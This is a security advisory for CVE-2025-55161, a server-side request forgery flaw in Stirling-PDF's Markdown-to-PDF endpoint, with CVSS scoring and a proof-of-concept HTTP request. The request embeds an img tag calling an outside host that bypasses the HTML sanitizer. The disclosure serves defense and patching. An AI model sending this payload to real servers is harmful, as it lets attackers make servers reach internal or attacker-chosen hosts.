Skip to content

SSRF vulnerability on /api/v1/convert/markdown/pdf

High
Frooodle published GHSA-ff33-grr6-rmvp Aug 11, 2025

Package

maven stirling-pdf (Maven)

Affected versions

all versions

Patched versions

1.1.0

Description

Summary

When using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization, but there are flaws that can be bypassed, leading to SSRF vulnerabilities.

Details

The backend uses the third-party sanitizer org.owasp.html, but it has flaws that can be bypassed, leading to SSRF vulnerabilities.

  • source:
    stirling/software/SPDF/controller/api/converters/ConvertMarkdownToPdf.java

  • sink:
    stirling/software/SPDF/utils/FileToPdf.java

PoC

POST /api/v1/convert/markdown/pdf HTTP/1.1
Host: 172.25.24.140:8080
Content-Length: 247
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvAfAbBmFpYrQfooK
Accept: */*
Origin: http://172.25.24.140:8080
Referer: http://172.25.24.140:8080/markdown-to-pdf
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node0dylx4lgdtzxwixmnid86661r1.node0
Connection: close

------WebKitFormBoundaryvAfAbBmFpYrQfooK
Content-Disposition: form-data; name="fileInput"; filename="ssrf.md"
Content-Type: application/octet-stream

<img src='http://e6c4490692.ipv6.bypass.eu.org/'>
------WebKitFormBoundaryvAfAbBmFpYrQfooK--

Impact

Here are two articles that introduce the principles and risks of SSRF for your reference.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

CVE ID

CVE-2025-55161

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits